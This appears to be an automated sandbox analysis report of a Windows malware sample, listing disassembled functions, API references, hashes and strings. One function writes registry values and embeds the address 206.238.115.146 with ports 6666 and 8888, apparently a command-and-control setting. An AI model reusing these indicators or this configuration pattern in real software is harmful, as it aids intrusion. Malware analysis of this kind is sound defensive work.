Opcode ID: 2464d5d1c8744b7938e622091fc8299d1c098dc56941e33080af8fbc6eb05a52
Instruction ID: 3db2b33052fde0fa43edc879494603dff5fb9813496a433b66532c84b701a11a
Opcode Fuzzy Hash: 2464d5d1c8744b7938e622091fc8299d1c098dc56941e33080af8fbc6eb05a52
Instruction Fuzzy Hash: 54A13D71508A4C8FDB55EF28C889BEA77F9FB68315F14466EE84AC7160EB30D645CB80

Function 000001CFB9622864 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction ID: 394bbdfb1d0ef4576b10af8b2a2a1cffdab4c2b0079e620fe4634424b7e5055a
Opcode Fuzzy Hash: 5e1e48596fdf5ea50ef3df4a9aab293c2a7286e8955242186005ffd8a8896482
Instruction Fuzzy Hash: 42518C72B592A28BE7689F19E404FA83ABAF394341F61903D9A1297A80D775CD52CB00

Function 00007FF6F6085050 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dc9773e29b9943d0f431ef1d083e1a96af14bfd7a0c89f44e59958600268bc4
Instruction ID: 043cbdd95609bf53503799eaa78765c77eeab3109646a951519abc227a61b818
Opcode Fuzzy Hash: 7dc9773e29b9943d0f431ef1d083e1a96af14bfd7a0c89f44e59958600268bc4
Instruction Fuzzy Hash: 52E01287E9EED145F3F3C1740D6A4B81FD49AB250872E4076CA68522E3BC0B2C095A91

Function 000001CFB9626190 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 615cccabd9d4d4bc56463e44a2cf98717ec8b73547a62705ae19231bf2828f5a
Instruction ID: 35f38df5eac53050f3bddeb35c3dd787ae9c7118b816769d625ba21ced8a3248
Opcode Fuzzy Hash: 615cccabd9d4d4bc56463e44a2cf98717ec8b73547a62705ae19231bf2828f5a
Instruction Fuzzy Hash: D3E046BBF9EED10AF262E21C4C3D74C39B3ABB2701B0C816F8B4117583A2016D168312

Function 00007FF6F60842F8 Relevance: .0, Instructions: 2COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4113640461.00007FF6F6081000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6F6080000, based on PE: true

Associated: 00000000.00000002.4113613717.00007FF6F6080000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6089000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F6362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F636B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.4113640461.00007FF6F679E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f6080000_2IVWAPeiZm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a810e6f4800dd0a946212bf55ce673faa0e725bd5ccdeadf712bf4bae6919595
Instruction ID: 369e92e7905dc00c22c4fd04d7950a57238f435ff72c9bda63cb87be8e8cad93
Opcode Fuzzy Hash: a810e6f4800dd0a946212bf55ce673faa0e725bd5ccdeadf712bf4bae6919595
Instruction Fuzzy Hash: 4BA0022190CE02D0E749CB20EA601342378FB50704FB10131C02DD14F1BF3EB840CB40

Function 000001CFB95CCCF9 Relevance: 107.8, APIs: 86, Instructions: 270COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 000001CFB95CCD0E

Part of subcall function 000001CFB95C18D1: _errno.LIBCMT ref: 000001CFB95C18F1

free.LIBCMT ref: 000001CFB95CCD17
free.LIBCMT ref: 000001CFB95CCD20
free.LIBCMT ref: 000001CFB95CCD29
free.LIBCMT ref: 000001CFB95CCD32
free.LIBCMT ref: 000001CFB95CCD3B
free.LIBCMT ref: 000001CFB95CCD43
free.LIBCMT ref: 000001CFB95CCD4C
free.LIBCMT ref: 000001CFB95CCD55
free.LIBCMT ref: 000001CFB95CCD5E
free.LIBCMT ref: 000001CFB95CCD67
free.LIBCMT ref: 000001CFB95CCD70
free.LIBCMT ref: 000001CFB95CCD79
free.LIBCMT ref: 000001CFB95CCD82
free.LIBCMT ref: 000001CFB95CCD8B
free.LIBCMT ref: 000001CFB95CCD94
free.LIBCMT ref: 000001CFB95CCDA0
free.LIBCMT ref: 000001CFB95CCDAC
free.LIBCMT ref: 000001CFB95CCDB8
free.LIBCMT ref: 000001CFB95CCDC4
free.LIBCMT ref: 000001CFB95CCDD0
free.LIBCMT ref: 000001CFB95CCDDC
free.LIBCMT ref: 000001CFB95CCDE8
free.LIBCMT ref: 000001CFB95CCDF4
free.LIBCMT ref: 000001CFB95CCE00
free.LIBCMT ref: 000001CFB95CCE0C
free.LIBCMT ref: 000001CFB95CCE18
free.LIBCMT ref: 000001CFB95CCE24
free.LIBCMT ref: 000001CFB95CCE30
free.LIBCMT ref: 000001CFB95CCE3C
free.LIBCMT ref: 000001CFB95CCE48
free.LIBCMT ref: 000001CFB95CCE54
free.LIBCMT ref: 000001CFB95CCE60
free.LIBCMT ref: 000001CFB95CCE6C
free.LIBCMT ref: 000001CFB95CCE78
free.LIBCMT ref: 000001CFB95CCE84
free.LIBCMT ref: 000001CFB95CCE90
free.LIBCMT ref: 000001CFB95CCE9C
free.LIBCMT ref: 000001CFB95CCEA8
free.LIBCMT ref: 000001CFB95CCEB4
free.LIBCMT ref: 000001CFB95CCEC0
free.LIBCMT ref: 000001CFB95CCECC
free.LIBCMT ref: 000001CFB95CCED8
free.LIBCMT ref: 000001CFB95CCEE4
free.LIBCMT ref: 000001CFB95CCEF0
free.LIBCMT ref: 000001CFB95CCEFC
free.LIBCMT ref: 000001CFB95CCF08
free.LIBCMT ref: 000001CFB95CCF14
free.LIBCMT ref: 000001CFB95CCF20
free.LIBCMT ref: 000001CFB95CCF2C
free.LIBCMT ref: 000001CFB95CCF38
free.LIBCMT ref: 000001CFB95CCF44
free.LIBCMT ref: 000001CFB95CCF50
free.LIBCMT ref: 000001CFB95CCF5C
free.LIBCMT ref: 000001CFB95CCF68
free.LIBCMT ref: 000001CFB95CCF74
free.LIBCMT ref: 000001CFB95CCF80
free.LIBCMT ref: 000001CFB95CCF8C
free.LIBCMT ref: 000001CFB95CCF98
free.LIBCMT ref: 000001CFB95CCFA4
free.LIBCMT ref: 000001CFB95CCFB0
free.LIBCMT ref: 000001CFB95CCFBC
free.LIBCMT ref: 000001CFB95CCFC8
free.LIBCMT ref: 000001CFB95CCFD4
free.LIBCMT ref: 000001CFB95CCFE0
free.LIBCMT ref: 000001CFB95CCFEC
free.LIBCMT ref: 000001CFB95CCFF8
free.LIBCMT ref: 000001CFB95CD004
free.LIBCMT ref: 000001CFB95CD010
free.LIBCMT ref: 000001CFB95CD01C
free.LIBCMT ref: 000001CFB95CD028
free.LIBCMT ref: 000001CFB95CD034
free.LIBCMT ref: 000001CFB95CD040
free.LIBCMT ref: 000001CFB95CD04C
free.LIBCMT ref: 000001CFB95CD058
free.LIBCMT ref: 000001CFB95CD064
free.LIBCMT ref: 000001CFB95CD070
free.LIBCMT ref: 000001CFB95CD07C
free.LIBCMT ref: 000001CFB95CD088
free.LIBCMT ref: 000001CFB95CD094
free.LIBCMT ref: 000001CFB95CD0A0
free.LIBCMT ref: 000001CFB95CD0AC
free.LIBCMT ref: 000001CFB95CD0B8
free.LIBCMT ref: 000001CFB95CD0C4
free.LIBCMT ref: 000001CFB95CD0D0
free.LIBCMT ref: 000001CFB95CD0DC

Memory Dump Source

Source File: 00000000.00000002.4112601282.000001CFB95B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB95B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb95b0000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: e44ab7cd070652d9728940861764d1cd044dd908e6107ce7c6dd1a0b88c044b8
Instruction ID: d583a1da64c24438ad11d688551b85fcbf0b016cac8f14b312dd5ac11abae091
Opcode Fuzzy Hash: e44ab7cd070652d9728940861764d1cd044dd908e6107ce7c6dd1a0b88c044b8
Instruction Fuzzy Hash: E0B184311E564A4BF69DFBA9C5E5BD823B2BF49340F848178980DDA9A7CF149D83C710

Function 000001CFB93A0A90 Relevance: 107.8, APIs: 86, Instructions: 270COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 000001CFB93A0AA5

Part of subcall function 000001CFB9399030: _errno.LIBCMT ref: 000001CFB9399050

free.LIBCMT ref: 000001CFB93A0AAE
free.LIBCMT ref: 000001CFB93A0AB7
free.LIBCMT ref: 000001CFB93A0AC0
free.LIBCMT ref: 000001CFB93A0AC9
free.LIBCMT ref: 000001CFB93A0AD2
free.LIBCMT ref: 000001CFB93A0ADA
free.LIBCMT ref: 000001CFB93A0AE3
free.LIBCMT ref: 000001CFB93A0AEC
free.LIBCMT ref: 000001CFB93A0AF5
free.LIBCMT ref: 000001CFB93A0AFE
free.LIBCMT ref: 000001CFB93A0B07
free.LIBCMT ref: 000001CFB93A0B10
free.LIBCMT ref: 000001CFB93A0B19
free.LIBCMT ref: 000001CFB93A0B22
free.LIBCMT ref: 000001CFB93A0B2B
free.LIBCMT ref: 000001CFB93A0B37
free.LIBCMT ref: 000001CFB93A0B43
free.LIBCMT ref: 000001CFB93A0B4F
free.LIBCMT ref: 000001CFB93A0B5B
free.LIBCMT ref: 000001CFB93A0B67
free.LIBCMT ref: 000001CFB93A0B73
free.LIBCMT ref: 000001CFB93A0B7F
free.LIBCMT ref: 000001CFB93A0B8B
free.LIBCMT ref: 000001CFB93A0B97
free.LIBCMT ref: 000001CFB93A0BA3
free.LIBCMT ref: 000001CFB93A0BAF
free.LIBCMT ref: 000001CFB93A0BBB
free.LIBCMT ref: 000001CFB93A0BC7
free.LIBCMT ref: 000001CFB93A0BD3
free.LIBCMT ref: 000001CFB93A0BDF
free.LIBCMT ref: 000001CFB93A0BEB
free.LIBCMT ref: 000001CFB93A0BF7
free.LIBCMT ref: 000001CFB93A0C03
free.LIBCMT ref: 000001CFB93A0C0F
free.LIBCMT ref: 000001CFB93A0C1B
free.LIBCMT ref: 000001CFB93A0C27
free.LIBCMT ref: 000001CFB93A0C33
free.LIBCMT ref: 000001CFB93A0C3F
free.LIBCMT ref: 000001CFB93A0C4B
free.LIBCMT ref: 000001CFB93A0C57
free.LIBCMT ref: 000001CFB93A0C63
free.LIBCMT ref: 000001CFB93A0C6F
free.LIBCMT ref: 000001CFB93A0C7B
free.LIBCMT ref: 000001CFB93A0C87
free.LIBCMT ref: 000001CFB93A0C93
free.LIBCMT ref: 000001CFB93A0C9F
free.LIBCMT ref: 000001CFB93A0CAB
free.LIBCMT ref: 000001CFB93A0CB7
free.LIBCMT ref: 000001CFB93A0CC3
free.LIBCMT ref: 000001CFB93A0CCF
free.LIBCMT ref: 000001CFB93A0CDB
free.LIBCMT ref: 000001CFB93A0CE7
free.LIBCMT ref: 000001CFB93A0CF3
free.LIBCMT ref: 000001CFB93A0CFF
free.LIBCMT ref: 000001CFB93A0D0B
free.LIBCMT ref: 000001CFB93A0D17
free.LIBCMT ref: 000001CFB93A0D23
free.LIBCMT ref: 000001CFB93A0D2F
free.LIBCMT ref: 000001CFB93A0D3B
free.LIBCMT ref: 000001CFB93A0D47
free.LIBCMT ref: 000001CFB93A0D53
free.LIBCMT ref: 000001CFB93A0D5F
free.LIBCMT ref: 000001CFB93A0D6B
free.LIBCMT ref: 000001CFB93A0D77
free.LIBCMT ref: 000001CFB93A0D83
free.LIBCMT ref: 000001CFB93A0D8F
free.LIBCMT ref: 000001CFB93A0D9B
free.LIBCMT ref: 000001CFB93A0DA7
free.LIBCMT ref: 000001CFB93A0DB3
free.LIBCMT ref: 000001CFB93A0DBF
free.LIBCMT ref: 000001CFB93A0DCB
free.LIBCMT ref: 000001CFB93A0DD7
free.LIBCMT ref: 000001CFB93A0DE3
free.LIBCMT ref: 000001CFB93A0DEF
free.LIBCMT ref: 000001CFB93A0DFB
free.LIBCMT ref: 000001CFB93A0E07
free.LIBCMT ref: 000001CFB93A0E13
free.LIBCMT ref: 000001CFB93A0E1F
free.LIBCMT ref: 000001CFB93A0E2B
free.LIBCMT ref: 000001CFB93A0E37
free.LIBCMT ref: 000001CFB93A0E43
free.LIBCMT ref: 000001CFB93A0E4F
free.LIBCMT ref: 000001CFB93A0E5B
free.LIBCMT ref: 000001CFB93A0E67
free.LIBCMT ref: 000001CFB93A0E73

Memory Dump Source

Source File: 00000000.00000002.4112135711.000001CFB9391000.00000020.10000000.00040000.00000000.sdmp, Offset: 000001CFB9391000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9391000_2IVWAPeiZm.jbxd

Similarity

API ID: free$_errno
String ID:
API String ID: 2288870239-0
Opcode ID: e44ab7cd070652d9728940861764d1cd044dd908e6107ce7c6dd1a0b88c044b8
Instruction ID: f63ca0f794c8e79b3fc80069c0ddeecebfad2f862f61cbd0635cd093d1a89677
Opcode Fuzzy Hash: e44ab7cd070652d9728940861764d1cd044dd908e6107ce7c6dd1a0b88c044b8
Instruction Fuzzy Hash: 5EB174301B25884BF689EB24C4E6FDC6376BF4C344F6C41B8985E8A2A7CF119D56C750

Function 000001CFB961D228 Relevance: 107.7, APIs: 86, Instructions: 180COMMONLIBRARYCODE

Download Yara Rule

APIs

free.LIBCMT ref: 000001CFB961D23D

Part of subcall function 000001CFB9611E00: HeapFree.KERNEL32 ref: 000001CFB9611E16
Part of subcall function 000001CFB9611E00: _errno.LIBCMT ref: 000001CFB9611E20
Part of subcall function 000001CFB9611E00: GetLastError.KERNEL32 ref: 000001CFB9611E28

free.LIBCMT ref: 000001CFB961D246
free.LIBCMT ref: 000001CFB961D24F
free.LIBCMT ref: 000001CFB961D258
free.LIBCMT ref: 000001CFB961D261
free.LIBCMT ref: 000001CFB961D26A
free.LIBCMT ref: 000001CFB961D272
free.LIBCMT ref: 000001CFB961D27B
free.LIBCMT ref: 000001CFB961D284
free.LIBCMT ref: 000001CFB961D28D
free.LIBCMT ref: 000001CFB961D296
free.LIBCMT ref: 000001CFB961D29F
free.LIBCMT ref: 000001CFB961D2A8
free.LIBCMT ref: 000001CFB961D2B1
free.LIBCMT ref: 000001CFB961D2BA
free.LIBCMT ref: 000001CFB961D2C3
free.LIBCMT ref: 000001CFB961D2CF
free.LIBCMT ref: 000001CFB961D2DB
free.LIBCMT ref: 000001CFB961D2E7
free.LIBCMT ref: 000001CFB961D2F3
free.LIBCMT ref: 000001CFB961D2FF
free.LIBCMT ref: 000001CFB961D30B
free.LIBCMT ref: 000001CFB961D317
free.LIBCMT ref: 000001CFB961D323
free.LIBCMT ref: 000001CFB961D32F
free.LIBCMT ref: 000001CFB961D33B
free.LIBCMT ref: 000001CFB961D347
free.LIBCMT ref: 000001CFB961D353
free.LIBCMT ref: 000001CFB961D35F
free.LIBCMT ref: 000001CFB961D36B
free.LIBCMT ref: 000001CFB961D377
free.LIBCMT ref: 000001CFB961D383
free.LIBCMT ref: 000001CFB961D38F
free.LIBCMT ref: 000001CFB961D39B
free.LIBCMT ref: 000001CFB961D3A7
free.LIBCMT ref: 000001CFB961D3B3
free.LIBCMT ref: 000001CFB961D3BF
free.LIBCMT ref: 000001CFB961D3CB
free.LIBCMT ref: 000001CFB961D3D7
free.LIBCMT ref: 000001CFB961D3E3
free.LIBCMT ref: 000001CFB961D3EF
free.LIBCMT ref: 000001CFB961D3FB
free.LIBCMT ref: 000001CFB961D407
free.LIBCMT ref: 000001CFB961D413
free.LIBCMT ref: 000001CFB961D41F
free.LIBCMT ref: 000001CFB961D42B
free.LIBCMT ref: 000001CFB961D437
free.LIBCMT ref: 000001CFB961D443
free.LIBCMT ref: 000001CFB961D44F
free.LIBCMT ref: 000001CFB961D45B
free.LIBCMT ref: 000001CFB961D467
free.LIBCMT ref: 000001CFB961D473
free.LIBCMT ref: 000001CFB961D47F
free.LIBCMT ref: 000001CFB961D48B
free.LIBCMT ref: 000001CFB961D497
free.LIBCMT ref: 000001CFB961D4A3
free.LIBCMT ref: 000001CFB961D4AF
free.LIBCMT ref: 000001CFB961D4BB
free.LIBCMT ref: 000001CFB961D4C7
free.LIBCMT ref: 000001CFB961D4D3
free.LIBCMT ref: 000001CFB961D4DF
free.LIBCMT ref: 000001CFB961D4EB
free.LIBCMT ref: 000001CFB961D4F7
free.LIBCMT ref: 000001CFB961D503
free.LIBCMT ref: 000001CFB961D50F
free.LIBCMT ref: 000001CFB961D51B
free.LIBCMT ref: 000001CFB961D527
free.LIBCMT ref: 000001CFB961D533
free.LIBCMT ref: 000001CFB961D53F
free.LIBCMT ref: 000001CFB961D54B
free.LIBCMT ref: 000001CFB961D557
free.LIBCMT ref: 000001CFB961D563
free.LIBCMT ref: 000001CFB961D56F
free.LIBCMT ref: 000001CFB961D57B
free.LIBCMT ref: 000001CFB961D587
free.LIBCMT ref: 000001CFB961D593
free.LIBCMT ref: 000001CFB961D59F
free.LIBCMT ref: 000001CFB961D5AB
free.LIBCMT ref: 000001CFB961D5B7
free.LIBCMT ref: 000001CFB961D5C3
free.LIBCMT ref: 000001CFB961D5CF
free.LIBCMT ref: 000001CFB961D5DB
free.LIBCMT ref: 000001CFB961D5E7
free.LIBCMT ref: 000001CFB961D5F3
free.LIBCMT ref: 000001CFB961D5FF
free.LIBCMT ref: 000001CFB961D60B

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: free$ErrorFreeHeapLast_errno
String ID:
API String ID: 1012874770-0
Opcode ID: a518f453fd134e221eeb5ca5ef16713add8aa1a07c18d8ee80b660b854a8acdc
Instruction ID: d9448d8b53d0eec757f0990e5ec78e27b6fd24a7b81fdb678c4dc5007ba596b0
Opcode Fuzzy Hash: a518f453fd134e221eeb5ca5ef16713add8aa1a07c18d8ee80b660b854a8acdc
Instruction Fuzzy Hash: A9A1633239159681FA41AAB1C8957ED1733ABC4BC5FC5A136EA4D8A1A7CF10CE4683D0

Function 000001CFB960D337 Relevance: 49.3, APIs: 12, Strings: 16, Instructions: 282stringregistrysleepCOMMON

Download Yara Rule

APIs

Part of subcall function 000001CFB9611EF8: malloc.LIBCMT ref: 000001CFB9611F12

RegOpenKeyExW.ADVAPI32 ref: 000001CFB960D372
RegDeleteValueW.ADVAPI32 ref: 000001CFB960D383
RegSetValueExW.ADVAPI32 ref: 000001CFB960D3AE
RegCloseKey.ADVAPI32 ref: 000001CFB960D414
lstrlenW.KERNEL32 ref: 000001CFB960D4A7
lstrlenW.KERNEL32 ref: 000001CFB960D4B7
lstrlenW.KERNEL32 ref: 000001CFB960D59D
lstrlenW.KERNEL32 ref: 000001CFB960D5AD

Part of subcall function 000001CFB9611EF8: _callnewh.LIBCMT ref: 000001CFB9611F06
Part of subcall function 000001CFB9611EF8: std::exception::exception.LIBCMT ref: 000001CFB9611F7F

Part of subcall function 000001CFB96120C4: _errno.LIBCMT ref: 000001CFB96120E3
Part of subcall function 000001CFB96120C4: _invalid_parameter_noinfo.LIBCMT ref: 000001CFB96120EF

lstrlenW.KERNEL32 ref: 000001CFB960D68D
lstrlenW.KERNEL32 ref: 000001CFB960D69D
RegCloseKey.ADVAPI32 ref: 000001CFB960D74C
Sleep.KERNEL32 ref: 000001CFB960D757

Strings

o2:, xrefs: 000001CFB960D588
8888, xrefs: 000001CFB960D581
Console, xrefs: 000001CFB960D356
IpDate, xrefs: 000001CFB960D37C, 000001CFB960D399
o1:, xrefs: 000001CFB960D492
t1:, xrefs: 000001CFB960D4AD, 000001CFB960D4EF
t2:, xrefs: 000001CFB960D5A3, 000001CFB960D5DF
127.0.0.1, xrefs: 000001CFB960D658
206.238.115.146, xrefs: 000001CFB960D568
o3:, xrefs: 000001CFB960D678
t3:, xrefs: 000001CFB960D693, 000001CFB960D6CF
p2:, xrefs: 000001CFB960D56F
p1:, xrefs: 000001CFB960D479
206.238.115.146, xrefs: 000001CFB960D472
p3:, xrefs: 000001CFB960D65F
6666, xrefs: 000001CFB960D48B

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: lstrlen$CloseValue$DeleteOpenSleep_callnewh_errno_invalid_parameter_noinfomallocstd::exception::exception
String ID: 127.0.0.1$206.238.115.146$206.238.115.146$6666$8888$Console$IpDate$o1:$o2:$o3:$p1:$p2:$p3:$t1:$t2:$t3:
API String ID: 2396878867-1516111400
Opcode ID: 463d9f9f0b2c7e549fb2103b7fcfc392be73fd1de31072982d2d55cec7f2432d
Instruction ID: 2a832e874b60e29ea13b82a9d5778c36d30e00db2d1bcabe971504b4adf48633
Opcode Fuzzy Hash: 463d9f9f0b2c7e549fb2103b7fcfc392be73fd1de31072982d2d55cec7f2432d
Instruction Fuzzy Hash: 56C19B71680AD681FB10AB15E694FE82773F754BC8F81912E890A97692DF78CF4BC350

Function 000001CFB961B354 Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 136libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 000001CFB961B399
GetProcAddress.KERNEL32 ref: 000001CFB961B3B5
EncodePointer.KERNEL32 ref: 000001CFB961B3C7
GetProcAddress.KERNEL32 ref: 000001CFB961B3DE
EncodePointer.KERNEL32 ref: 000001CFB961B3E7
GetProcAddress.KERNEL32 ref: 000001CFB961B3FE
EncodePointer.KERNEL32 ref: 000001CFB961B407
GetProcAddress.KERNEL32 ref: 000001CFB961B41E
EncodePointer.KERNEL32 ref: 000001CFB961B427
GetProcAddress.KERNEL32 ref: 000001CFB961B446
EncodePointer.KERNEL32 ref: 000001CFB961B44F
DecodePointer.KERNEL32 ref: 000001CFB961B482
DecodePointer.KERNEL32 ref: 000001CFB961B492
DecodePointer.KERNEL32 ref: 000001CFB961B4E8
DecodePointer.KERNEL32 ref: 000001CFB961B509
DecodePointer.KERNEL32 ref: 000001CFB961B523

Strings

GetLastActivePopup, xrefs: 000001CFB961B3ED
GetUserObjectInformationW, xrefs: 000001CFB961B40D
MessageBoxW, xrefs: 000001CFB961B3AB
ceil, xrefs: 000001CFB961B359
GetProcessWindowStation, xrefs: 000001CFB961B43C
USER32.DLL, xrefs: 000001CFB961B392
GetActiveWindow, xrefs: 000001CFB961B3CD

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: Pointer$AddressDecodeEncodeProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationW$MessageBoxW$USER32.DLL$ceil
API String ID: 2643518689-1731902841
Opcode ID: 9d3b7b8d73b81e0710393563afef24522285ad24608aa19952dadb9a9b69656c
Instruction ID: 1a90aac00940fdf8f712cad417fef840f8149ec4591fd899211614aa31319cc2
Opcode Fuzzy Hash: 9d3b7b8d73b81e0710393563afef24522285ad24608aa19952dadb9a9b69656c
Instruction Fuzzy Hash: C651B830286BD281FA55AF65F854BD422B3AB59F90F48503E9C0A477A9EF7CCE478314

Function 000001CFB9624018 Relevance: 31.8, APIs: 14, Strings: 4, Instructions: 334COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 000001CFB9622A80: RtlLookupFunctionEntry.KERNEL32 ref: 000001CFB9622AF4

__GetUnwindTryBlock.LIBCMT ref: 000001CFB962407C
__SetUnwindTryBlock.LIBCMT ref: 000001CFB96240A3

Part of subcall function 000001CFB9613E6C: RaiseException.KERNEL32 ref: 000001CFB9613EE7

__GetUnwindTryBlock.LIBCMT ref: 000001CFB96240AD
_getptd.LIBCMT ref: 000001CFB9624103
_getptd.LIBCMT ref: 000001CFB9624116
_getptd.LIBCMT ref: 000001CFB9624122
_SetThrowImageBase.LIBCMT ref: 000001CFB9624136
_getptd.LIBCMT ref: 000001CFB9624186
_getptd.LIBCMT ref: 000001CFB9624199
_getptd.LIBCMT ref: 000001CFB96241A5
type_info::operator==.LIBCMT ref: 000001CFB962420C
std::exception::exception.LIBCMT ref: 000001CFB9624245
_getptd.LIBCMT ref: 000001CFB9624478
std::exception::exception.LIBCMT ref: 000001CFB96244F1

Strings

csm, xrefs: 000001CFB9624151
csm, xrefs: 000001CFB96240C3
bad exception, xrefs: 000001CFB9624232
csm, xrefs: 000001CFB962426A

Memory Dump Source

Source File: 00000000.00000002.4112680827.000001CFB9600000.00000040.00001000.00020000.00000000.sdmp, Offset: 000001CFB9600000, based on PE: true

Associated: 00000000.00000002.4112680827.000001CFB963A000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4112680827.000001CFB963C000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1cfb9600000_2IVWAPeiZm.jbxd

Yara matches

Similarity

API ID: _getptd$BlockUnwind$std::exception::exception$BaseEntryExceptionFunctionImageLookupRaiseThrowtype_info::operator==
String ID: bad exception$csm$csm$csm
API String ID: 1639654010-820278400
Opcode ID: 9b2d5fbee0eac8ee2ac97d402b0da82ebdcc2850a2971d8a2ad8676977ce256d
Instruction ID: 09c98979dec9b4c1623e216d6a9ba9a332d0645a5287a6e6954e25921dbd8374
Opcode Fuzzy Hash: 9b2d5fbee0eac8ee2ac97d402b0da82ebdcc2850a2971d8a2ad8676977ce256d
Instruction Fuzzy Hash: CBE1A8326806828AFB24EF62D044BED77B3F754B88F54413AEE4907B86CB34CA52C305

Function 000001CFB93A3C88 Relevance: 30.2, APIs: 14, Strings: 3, Instructions: 493COMMONLIBRARYCODE

Download Yara Rule

APIs

__GetUnwindTryBlock.LIBCMT ref: 000001CFB93A3CEC
__SetUnwindTryBlock.LIBCMT ref: 000001CFB93A3D13
__GetUnwindTryBlock.LIBCMT ref: 000001CFB93A3D1D
_getptd.LIBCMT ref: 000001CFB93A3D73
_getptd.LIBCMT ref: 000001CFB93A3D86
_getptd.LIBCMT ref: 000001CFB93A3D92
_SetThrowImageBase.LIBCMT ref: 000001CFB93A3DA6
_getptd.LIBCMT ref: 000001CFB93A3DF6
_getptd.LIBCMT ref: 000001CFB93A3E09
_getptd.LIBCMT ref: 000001CFB93A3E15
type_info::operator==.LIBCMT ref: 000001CFB93A3E7C
std::exception::exception.LIBCMT ref: 000001CFB93A3EB5
_getptd.LIBCMT ref: 000001CFB93A40E8
std::exception::exception.LIBCMT ref: 000001CFB93A4161

Strings

csm, xrefs: 000001CFB93A3DC1
csm, xrefs: 000001CFB93A3D33
csm, xrefs: 000001CFB93A3EDA

Memory Dump Source

